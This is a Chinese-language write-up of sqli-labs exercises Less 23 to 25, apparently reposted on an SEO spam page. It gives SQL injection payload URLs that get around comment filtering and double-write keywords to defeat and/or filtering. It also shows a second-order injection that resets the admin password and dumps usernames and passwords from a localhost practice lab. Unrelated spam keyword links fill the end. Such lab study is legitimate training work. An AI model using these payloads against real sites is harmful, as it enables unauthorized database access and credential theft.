当前位置: 首页 > wzjs >正文

达人室内设计网官网入口福州seo排名优化公司

达人室内设计网官网入口,福州seo排名优化公司,网站的图片做多大尺寸,wordpress创建文章不显示前言 之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢? Less23(注释符被过滤&#xff…

前言

之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢?

Less23(注释符被过滤)

第25关,这关分析源码,它是过滤了请求的注释符“--”和“#”,所以这里不能用注释符注释后面的语句。但对本关注入来说,不成问题。

本关是测试可知是单引号闭合:

http://localhost/sqli-labs/less-23/?id=1' or'

接着就按照Less1的套路来就可以了。测试列数:

http://localhost/sqli-labs/less-23/?id=1' union select 1'

列数不是1,经测试到3时没报错:

http://localhost/sqli-labs/less-23/?id=1' union select 1,2,3'

接下来测试是否前端可以回显:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,2,3'

测试联合注入可以回显。那么就开始爆数据库名:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,database(),3'

然后爆表:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' '

爆字段:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' '

爆用户名密码:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users where 1='1

Less24(二次注入)

二次注入的概念,是某个地方过滤了特殊字符等,但是攻击者可以在另一个地方把带特殊字符的信息写入数据库,当某个地方需要校验时,程序从数据库读取带特殊字符的信息,可以形成sql注入。最典型的例子,就是网站注册用户时,通过输入带特殊字符的用户名或密码,到了登陆时程序匹配时被特殊字符注入。

分析源码,注入点在pass_change.php中:

如果我们在变量$username的位置闭合,那不需要检测该账号当前的密码。

进入创建新用户。创建用户是常见二次注入点。接下来创建用户名“admin'#”,密码:1。然后重新登陆:

接着随便输入当前密码,然后输入新密码为"abc"。接着logout后重新登陆时,输入admin/abc。发现admin密码已经被改为abc了。这就是二次注入。

Less25(绕过and、or)

25关在于绕过关键字and和or。页面下方的Hint会提示过滤后的情况:

http://localhost/sqli-labs/less-25/?id=1' or 1=1 %23

显然or被过滤掉了。那如何避免被过滤呢? 可以采用双写,比如说and写成aandnd,or写成oorr,这样字符串过滤时,过滤掉中间的关键字后,刚好恢复成and和or。尝试输入:

http://localhost/sqli-labs/less-25/?id=1' oorr 1=1 %23

 不过本关比较搞笑的是,我们主要是利用联合注入,所以根本不需要绕过and和or,基本上按照第一关的思路就够了:

#联合注入回显2,、3列
http://localhost/sqli-labs/less-25/?id=-1' union select 1,2,3 %23#查数据库名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,database(),3 %23#爆表名,information的or会被过滤,需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23#爆列名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %23#爆用户名密码,password的or需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users %23

http://www.dtcms.com/wzjs/327673.html

相关文章:

  • 江苏省镇江市丹徒区疫情昆明优化网站公司
  • 潍坊网站建设500网站推广要点
  • 网站宣传的方式哈尔滨seo网站管理
  • 网站建设电话营销最近的国际新闻
  • 如何渗透测试wordpress网站优化大师下载
  • 智慧团建系统网站网站推广建设
  • 成武建设局网站正规的培训机构有哪些
  • 南宁网红打卡地有哪些地方seo学校培训课程
  • 建网站有什么要求快速网站搭建
  • 国内比较好用的建筑案例网站网络营销推广软件
  • 如何在建设部网站补录项目女教师遭网课入侵直播录屏曝光8
  • 企业邮箱申请域名安卓内核级优化神器
  • 石家庄做外贸的网站建设企业网站制作与维护
  • 怎样做淘宝网站百度推广代理公司广州
  • 电脑路由器做网站服务器开封网站优化公司
  • 做动态的网站的参考资料有哪些百度关键词规划师
  • 兰州最近事件安徽seo
  • wordpress 搞笑网站seo关键词排名优化手机
  • 深圳分销网站设计360提交入口网址
  • 取名字网站如何做外贸网站优化公司
  • 大朗镇仿做网站四川seo推广
  • 下单网站搭建怎么在百度上发帖推广
  • 做网站找酷万广告推广系统
  • 荆州网站设计seo推广工具
  • 外贸公司应该怎样做外贸网站网络信息发布平台
  • 金华做网站今日新闻最新消息大事
  • 网站开发前景知乎游戏优化大师
  • 网站开发前期功能策划品牌网络营销策划书
  • danbold做动漫的网站百度竞价推广公司
  • wordpress mobile pack湛江seo推广公司